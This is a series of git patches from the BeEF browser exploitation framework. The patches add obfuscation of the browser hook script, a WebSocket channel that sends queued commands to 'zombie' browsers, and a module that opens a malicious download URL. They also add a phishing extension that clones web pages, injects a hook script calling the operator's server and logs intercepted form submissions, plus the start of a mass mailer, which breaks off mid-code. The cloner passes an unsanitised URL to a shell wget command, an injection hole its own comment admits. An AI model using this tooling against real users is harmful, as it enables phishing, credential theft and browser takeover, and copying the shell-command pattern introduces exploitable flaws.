config.get("beef.extension.evasion.enable") + if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" + # do not obfuscate the file + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + else + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + else + # Evasion is not enabled, do not obfuscate anything + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + } + + # @note construct the beef_js string from file(s) + beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_file_path = beef_js_path + beef_js_sub_file + beef_js << (File.read(beef_js_sub_file_path) + "\n\n") } # @note create the config for the hooked browser session - - hook_session_name = config.get('beef.http.hook_session_name') hook_session_config = BeEF::Core::Server.instance.to_h # @note if http_host="0.0.0.0" in config ini, use the host requested by client @@ -68,6 +90,7 @@ module BeEF end end + # @note Set some WebSocket properties if config.get("beef.http.websocket.enable") hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") @@ -75,16 +98,20 @@ module BeEF hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") end - # @note populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) + # @note populate place holders in the beef_js string and set the response body + eruby = Erubis::FastEruby.new(beef_js) @hook = eruby.evaluate(hook_session_config) if config.get("beef.extension.evasion.enable") evasion = BeEF::Extension::Evasion::Evasion.instance @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) + @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate) + @hook + else + @final_hook = ext_js_to_not_obfuscate + @hook end - @body << @hook + # @note Return the final hook to be sent to the browser + @body << @final_hook end @@ -131,9 +158,7 @@ module BeEF end } end - end - end end end From 50e7a1c206fb7fc20676d1556d6784ec01512210 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 10:18:56 +0100 Subject: [PATCH 103/225] Refactored WebSocket code. --- beef | 4 +- config.yaml | 8 +- core/main/client/websocket.js | 2 +- .../main/network_stack/websocket/websocket.rb | 204 ++++++++++++------ 4 files changed, 141 insertions(+), 77 deletions(-) diff --git a/beef b/beef index 5b84151e6..2a9672d46 100755 --- a/beef +++ b/beef @@ -124,9 +124,9 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" #@note Starts the WebSocket server if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance - print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" if config.get("beef.http.websocket.secure") - print_info "Starting WebSocket-Secured server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" end end diff --git a/config.yaml b/config.yaml index c746ca493..46c5e98c0 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.7-alpha' - debug: true + debug: false restrictions: # subnet of browser ip addresses that can hook to the framework @@ -42,9 +42,9 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: enable: false - secure: false # use WebSocketSecure work only on https domain and whit https support enabled in BeEF - port: 61985 # good success rate through proxies - secure_port: 61986 #to accept wss connection + secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF + port: 61985 # WS: good success rate through proxies + secure_port: 61986 # WSS alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index e1cca10ee..69ab27515 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -28,7 +28,7 @@ beef.websocket = { var webSocketSecure = <%= @websocket_secure %>; var protocol = "ws://"; //console.log("We are inside init"); - /*use wss only if hooked domain is under tls*/ + /*use wss only if hooked domain is under https. Mixed-content in WS is quite different from a non-WS context*/ if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; webSocketPort= <%= @websocket_sec_port %>; diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b5c6ec0e4..a17d3c35d 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -33,84 +33,150 @@ module BeEF def initialize - secure = @@config.get("beef.http.websocket.secure") #&& @@config.get("beef.http.https.enable") + secure = @@config.get("beef.http.websocket.secure") @root_dir = File.expand_path('../../../../../', __FILE__) if (secure) - #Thread for websocket-secure - Thread.new { - port = @@config.get("beef.http.websocket.secure_port") - sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets - EventMachine.run { - - wsopt = {:host => "0.0.0.0", :port => port, :secure => true, - :tls_options => { - :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), - :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") - } - } - - - EventMachine::WebSocket.start(wsopt) do |ws| - begin - print_debug "New WebSocket-secured channel open." - ws.onmessage { |msg| - msg_hash = JSON.parse("#{msg}") - #@note messageHash[result] is Base64 encoded - if (msg_hash["cookie"]!= nil) - print_debug("WebSocket-secured - Browser says helo! WebSocket is running") - #insert new connection in activesocket - @@activeSocket["#{msg_hash["cookie"]}"] = ws - print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") - elsif msg_hash["alive"] != nil - hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) - unless hooked_browser.nil? - hooked_browser.lastseen = Time.new.to_i - hooked_browser.count! - hooked_browser.save - - #Check if new modules need to be sent - zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } - - #@todo antisnatchor: - #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions - #Check if new forged requests need to be sent (Requester/TunnelingProxy) - dhook = BeEF::Extension::Requester::API::Hook.new - dhook.requester_run(hooked_browser, '') - - #Check if new XssRays scan need to be started - xssrays = BeEF::Extension::Xssrays::API::Scan.new - xssrays.start_scan(hooked_browser, '') - end - else - #json recv is a cmd response decode and send all to - #we have to call dynamicreconstructor handler camp must be websocket - #print_debug("Received from WebSocket #{messageHash}") - execute(msg_hash) - end - } - rescue Exception => e - print_error "WebSocket-secured error: #{e}" - end - end - } - + ws_secure_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.secure_port"), :secure => true, + :tls_options => { + :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + } } + # @note Start a WSS server socket + start_websocket_server(ws_secure_options, true) end - #Thread for websocket + # @note Start a WS server socket + ws_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.port")} + start_websocket_server(ws_options,false) + + # #Thread for websocket-secure + # Thread.new { + # port = @@config.get("beef.http.websocket.secure_port") + # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + # EventMachine.run { + # + # wsopt = {:host => "0.0.0.0", :port => port, :secure => true, + # :tls_options => { + # :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + # :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + # } + # } + # + # + # EventMachine::WebSocket.start(wsopt) do |ws| + # begin + # print_debug "New WebSocket-secured channel open." + # ws.onmessage { |msg| + # msg_hash = JSON.parse("#{msg}") + # #@note messageHash[result] is Base64 encoded + # if (msg_hash["cookie"]!= nil) + # print_debug("WebSocket-secured - Browser says helo! WebSocket is running") + # #insert new connection in activesocket + # @@activeSocket["#{msg_hash["cookie"]}"] = ws + # print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") + # elsif msg_hash["alive"] != nil + # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + # unless hooked_browser.nil? + # hooked_browser.lastseen = Time.new.to_i + # hooked_browser.count! + # hooked_browser.save + # + # #Check if new modules need to be sent + # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + # + # #@todo antisnatchor: + # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # #Check if new forged requests need to be sent (Requester/TunnelingProxy) + # dhook = BeEF::Extension::Requester::API::Hook.new + # dhook.requester_run(hooked_browser, '') + # + # #Check if new XssRays scan need to be started + # xssrays = BeEF::Extension::Xssrays::API::Scan.new + # xssrays.start_scan(hooked_browser, '') + # end + # else + # #json recv is a cmd response decode and send all to + # #we have to call dynamicreconstructor handler camp must be websocket + # #print_debug("Received from WebSocket #{messageHash}") + # execute(msg_hash) + # end + # } + # rescue Exception => e + # print_error "WebSocket-secured error: #{e}" + # end + # end + # } + # + # } + # + ##Thread for websocket + #Thread.new { + # port = @@config.get("beef.http.websocket.port") + # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + # EventMachine.run { + # + # wsopt = {:host => "0.0.0.0", :port => port} + # + # + # EventMachine::WebSocket.start(wsopt) do |ws| + # begin + # print_debug "New WebSocket channel open." + # ws.onmessage { |msg| + # msg_hash = JSON.parse("#{msg}") + # #@note messageHash[result] is Base64 encoded + # if (msg_hash["cookie"]!= nil) + # print_debug("WebSocket - Browser says helo! WebSocket is running") + # #insert new connection in activesocket + # @@activeSocket["#{msg_hash["cookie"]}"] = ws + # print_debug("WebSocket - activeSocket content [#{@@activeSocket}]") + # elsif msg_hash["alive"] != nil + # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + # unless hooked_browser.nil? + # hooked_browser.lastseen = Time.new.to_i + # hooked_browser.count! + # hooked_browser.save + # + # #Check if new modules need to be sent + # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + # + # #@todo antisnatchor: + # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # #Check if new forged requests need to be sent (Requester/TunnelingProxy) + # dhook = BeEF::Extension::Requester::API::Hook.new + # dhook.requester_run(hooked_browser, '') + # + # #Check if new XssRays scan need to be started + # xssrays = BeEF::Extension::Xssrays::API::Scan.new + # xssrays.start_scan(hooked_browser, '') + # end + # else + # #json recv is a cmd response decode and send all to + # #we have to call dynamicreconstructor handler camp must be websocket + # #print_debug("Received from WebSocket #{messageHash}") + # execute(msg_hash) + # end + # } + # rescue Exception => e + # print_error "WebSocket error: #{e}" + # end + # end + # } + #} + + + end + + def start_websocket_server(ws_options, secure) Thread.new { - port = @@config.get("beef.http.websocket.port") sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets EventMachine.run { - - wsopt = {:host => "0.0.0.0", :port => port} - - - EventMachine::WebSocket.start(wsopt) do |ws| + EventMachine::WebSocket.start(ws_options) do |ws| begin - print_debug "New WebSocket channel open." + secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.") ws.onmessage { |msg| msg_hash = JSON.parse("#{msg}") #@note messageHash[result] is Base64 encoded @@ -153,8 +219,6 @@ module BeEF end } } - - end #@note retrieve the right websocket channel given an hooked browser session From 57f68725bcbe339bc40ef0d68a7810a9c96c95e1 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 25 Aug 2012 18:54:15 +0930 Subject: [PATCH 104/225] Moved lcamtuf download module to social engineering category --- .../lcamtuf_download/command.js | 7 +++---- .../lcamtuf_download/config.yaml | 2 +- .../lcamtuf_download/module.rb | 3 +-- 3 files changed, 5 insertions(+), 7 deletions(-) rename modules/{browser => social_engineering}/lcamtuf_download/command.js (89%) rename modules/{browser => social_engineering}/lcamtuf_download/config.yaml (96%) rename modules/{browser => social_engineering}/lcamtuf_download/module.rb (97%) diff --git a/modules/browser/lcamtuf_download/command.js b/modules/social_engineering/lcamtuf_download/command.js similarity index 89% rename from modules/browser/lcamtuf_download/command.js rename to modules/social_engineering/lcamtuf_download/command.js index a827c99fa..2982cd00b 100644 --- a/modules/browser/lcamtuf_download/command.js +++ b/modules/social_engineering/lcamtuf_download/command.js @@ -21,12 +21,11 @@ beef.execute(function() { function doit() { - if (navigator.userAgent.indexOf('MSIE') == -1){ + if (!beef.browser.isIE()) { w = window.open('data:text/html,', 'foo'); - setTimeout(donext, 4500); - } + } function donext() { window.open(maliciousurl, 'foo'); @@ -34,5 +33,5 @@ beef.execute(function() { once = true; } doit(); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed"); }); diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/social_engineering/lcamtuf_download/config.yaml similarity index 96% rename from modules/browser/lcamtuf_download/config.yaml rename to modules/social_engineering/lcamtuf_download/config.yaml index 0671d8844..329af0cbc 100644 --- a/modules/browser/lcamtuf_download/config.yaml +++ b/modules/social_engineering/lcamtuf_download/config.yaml @@ -17,7 +17,7 @@ beef: module: lcamtuf_download: enable: true - category: "Browser" + category: "Social Engineering" name: "Lcamtuf Download" description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." authors: ["Bart Leppens"] diff --git a/modules/browser/lcamtuf_download/module.rb b/modules/social_engineering/lcamtuf_download/module.rb similarity index 97% rename from modules/browser/lcamtuf_download/module.rb rename to modules/social_engineering/lcamtuf_download/module.rb index 1d2b707dd..7d163b78c 100644 --- a/modules/browser/lcamtuf_download/module.rb +++ b/modules/social_engineering/lcamtuf_download/module.rb @@ -18,7 +18,6 @@ class Lcamtuf_download < BeEF::Core::Command # set and return all options for this module def self.options - return [{ 'name' => 'real_file_uri', 'description' => 'The web accessible URI for the real file.', @@ -33,7 +32,7 @@ class Lcamtuf_download < BeEF::Core::Command 'value' => '', 'width' => '300px' }, - { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore', + { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore', 'store_fields' => ['do_once'], 'store_data' => [['false'],['true']], 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true }] From b6c12fd0f35ff243ab61009c04126384bbc70c21 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 10:25:31 +0100 Subject: [PATCH 105/225] Added copyright to are.js --- core/main/client/are.js | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/core/main/client/are.js b/core/main/client/are.js index f1c7588d8..4cdcff84b 100644 --- a/core/main/client/are.js +++ b/core/main/client/are.js @@ -1,4 +1,18 @@ - +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.are = { init:function(){ var Jools = require('jools'); From 42c348f3f2396fbf0dc573459082a6855a218783 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 10:26:16 +0100 Subject: [PATCH 106/225] Added timeout.js that calls beef_init an fix some nasty cross-domain hooking issues when the hooking process was not started. --- core/main/client/timeout.js | 26 ++++++++++++++++++++++++++ core/main/handlers/modules/beefjs.rb | 8 ++++---- 2 files changed, 30 insertions(+), 4 deletions(-) create mode 100644 core/main/client/timeout.js diff --git a/core/main/client/timeout.js b/core/main/client/timeout.js new file mode 100644 index 000000000..6aab560cf --- /dev/null +++ b/core/main/client/timeout.js @@ -0,0 +1,26 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +/* + Sometimes there are timing issues and looks like beef_init + is not called at all (always in cross-domain situations, + for example calling the hook with jquery getScript, + or sometimes with event handler injections). + + To fix this, we call again beef_init after 1 second. + Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece + antisnatchor + */ +setTimeout(beef_init, 1000); \ No newline at end of file diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index a5ff93864..8e30ae735 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -35,10 +35,10 @@ module BeEF # @note Load websocket library only if WS server is enabled in config.yaml if config.get("beef.http.websocket.enable") == false - # @note BeEF libraries: need Eruby evaluation and obfuscation - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) - else - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) + # @note BeEF libraries: need Eruby evaluation and obfuscation #antisnatchor: leave timeout.js as the last one! + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js timeout.js) + else #antisnatchor: leave timeout.js as the last one! + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js timeout.js) end ext_js_to_obfuscate = '' From 558ca03ef6f432c82dc2fec1c5078e2aeb0a9ee1 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 27 Aug 2012 10:28:03 +0100 Subject: [PATCH 107/225] Social Eng. extension: added basic structure and web cloner --- .gitignore | 3 +- extensions/social_engineering/config.yaml | 24 ++++ extensions/social_engineering/extension.rb | 31 +++++ .../web_cloner/interceptor.rb | 56 +++++++++ .../web_cloner/web_cloner.rb | 115 ++++++++++++++++++ 5 files changed, 228 insertions(+), 1 deletion(-) create mode 100644 extensions/social_engineering/config.yaml create mode 100644 extensions/social_engineering/extension.rb create mode 100644 extensions/social_engineering/web_cloner/interceptor.rb create mode 100644 extensions/social_engineering/web_cloner/web_cloner.rb diff --git a/.gitignore b/.gitignore index c02e0a406..9ebc010fe 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ beef.db test/msf-test -custom-config.yaml \ No newline at end of file +custom-config.yaml +extensions/social_engineering/web_cloner/cloned_pages \ No newline at end of file diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml new file mode 100644 index 000000000..d3b279ba6 --- /dev/null +++ b/extensions/social_engineering/config.yaml @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + extension: + social_engineering: + enable: true + name: 'Social Engineering' + authors: ["antisnatchor"] + web_cloner: + add_beef_hook: true + user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2" diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb new file mode 100644 index 000000000..95edcfe2d --- /dev/null +++ b/extensions/social_engineering/extension.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module SocialEngineering + extend BeEF::API::Extension + + @short_name = 'social_engineering' + @full_name = 'Social Engineering' + @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.' +end +end +end + +require 'extensions/social_engineering/web_cloner/web_cloner' +require 'extensions/social_engineering/web_cloner/interceptor' + + diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb new file mode 100644 index 000000000..7eba2ad46 --- /dev/null +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -0,0 +1,56 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module SocialEngineering + + class Interceptor < Sinatra::Base + + def initialize(file_path) + super + @config = BeEF::Core::Configuration.instance + @cloned_page = "" + File.open(file_path,'r').each do |line| + @cloned_page += line + end + end + + # intercept GET + get "/" do + print_info "GET request" + @cloned_page + end + + # intercept POST + # the 'action' attribute of the 'form' element is modified to the URI / + # in this way the request can be intercepted + post "/" do + print_info "POST request" + request.body.rewind + data = request.body.read + print_info "Intercepted data:" + print_info data + + #todo: do a GET request on the target website, retrieve the respone headers and check if X-Frame-Options is present + #todo: or framebusting is present. If is not present, open the original URL in an iFrame, otherwise redirect the user + #todo: to the original page + end + + end + end + end +end + diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb new file mode 100644 index 000000000..f962b4e90 --- /dev/null +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -0,0 +1,115 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module SocialEngineering + class WebCloner + include Singleton + + + def initialize + @http_server = BeEF::Core::Server.instance + @config = BeEF::Core::Configuration.instance + @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/" + end + + def clone_page(url) + #todo see web_cloner.rb, work perfectly + # output.html and output2.html (the one with the form action modified to /) + # must be stored in cloned_pages + print_info "Cloning page at URL #{url}" + uri = URI(url) + + #output = url.split("/").last #todo test if http://google.com/ produces an error + output = uri.host + output_mod = "#{output}_mod" + + user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') + + #todo: prevent Command Injection + wget = "wget '#{url}' -O #{@cloned_pages_dir + output} --no-check-certificate -c -k -U '#{user_agent}'" + IO.popen(wget.to_s) { |f| @result = f.gets } + print_debug @result + #todo, also check if the URL is valid with: + #unless (url =~ URI::regexp).nil? + # # Correct URL + #end + + #todo: this should be the good way to prevent command injection, because the shell is not open. + #todo: there are issues: Scheme missing when calling wget + #wget_path = "wget" + #env = {} + #args = %W['#{url}' -O #{output} --no-check-certificate -c -k -U #{user_agent}] + #IO.popen([env, wget_path, *args], 'r+') { |f| @result = f.gets } + + + #if !File.writable?(File.basename(@cloned_pages_dir + output_mod)) + # print_info "Cannot write to file..." + # IO.popen("chmod 777 #{@cloned_pages_dir}") { |f| @result = f.gets } + # sleep 2 + #end + + File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| + File.open("#{@cloned_pages_dir + output}", 'r').each do |line| + # Modify the
line changing the action URI to / in order to be properly intercepted by BeEF + if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + out_file.print add_beef_hook(line) + print_info "Added BeEF hook." + else + out_file.print line + end + end + end + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path)) + print_info "Mounting cloned page on URL #{output}" + @http_server.remap + end + + private + # Replace with + def add_beef_hook(line) + host = @config.get('beef.http.host') + port = @config.get('beef.http.port') + js = @config.get('beef.http.hook_file') + hook = "http://#{host}:#{port}#{js}" + line.gsub!("","\n") + line + end + + end + end + end +end + From 26c86951a4f29f9612a75ed59e5d725a9e54324d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 27 Aug 2012 14:30:10 +0100 Subject: [PATCH 108/225] Social Eng. extension: added mass mailer --- extensions/social_engineering/config.yaml | 8 + extensions/social_engineering/extension.rb | 1 + .../mass_mailer/mass_mailer.rb | 173 ++++++++++++++++++ 3 files changed, 182 insertions(+) create mode 100644 extensions/social_engineering/mass_mailer/mass_mailer.rb diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index d3b279ba6..98e2852d6 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -22,3 +22,11 @@ beef: web_cloner: add_beef_hook: true user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2" + mass_mailer: + user_agent: "Microsoft-MacOutlook/12.12.0.111556" + host: "smtp.gmail.com" + port: 587 + use_tls: true + helo: "gmail.com" # this is usually the domain name + from: "yourmail@gmail.com" + password: "yourpass" diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 95edcfe2d..33ca7ac31 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -27,5 +27,6 @@ end require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' +require 'extensions/social_engineering/mass_mailer/mass_mailer' diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb new file mode 100644 index 000000000..11c0e3aae --- /dev/null +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -0,0 +1,173 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module SocialEngineering + class MassMailer + require 'net/smtp' + require 'base64' + include Singleton + + def initialize + @config = BeEF::Core::Configuration.instance + @user_agent = @config.get('beef.extension.social_engineering.mass_mailer.user_agent') + @host = @config.get('beef.extension.social_engineering.mass_mailer.host') + @port = @config.get('beef.extension.social_engineering.mass_mailer.port') + @helo = @config.get('beef.extension.social_engineering.mass_mailer.helo') + @from = @config.get('beef.extension.social_engineering.mass_mailer.from') + @password = @config.get('beef.extension.social_engineering.mass_mailer.password') + + @subject = "Hi from BeEF" + end + + # tos_hash is an Hash like: + # 'antisnatchor@gmail.com' => 'Michele' + # 'ciccio@pasticcio.com' => 'Ciccio' + def send_email(tos_hash) + # create new SSL context and disable CA chain validation + if @config.get('beef.extension.social_engineering.mass_mailer.use_tls') + @ctx = OpenSSL::SSL::SSLContext.new + @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway + @ctx.ssl_version = "TLSv1" + end + + # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server + smtp = Net::SMTP.new(@host, @port) + smtp.enable_starttls(@ctx) unless @config.get('beef.extension.social_engineering.mass_mailer.use_tls') == false + smtp.start(@helo, @from, @password, :login) do |smtp| + tos_hash.each do |mail, name| + message = compose_email(mail, name, @subject) + smtp.send_message(message, @from, mail) + end + end + end + + #todo sending to hostmonster the email is probably flagged as spam: + # todo: error -> 550 550 Administrative prohibition (state 17 + + def compose_email(to, name, subject) + msg_id = 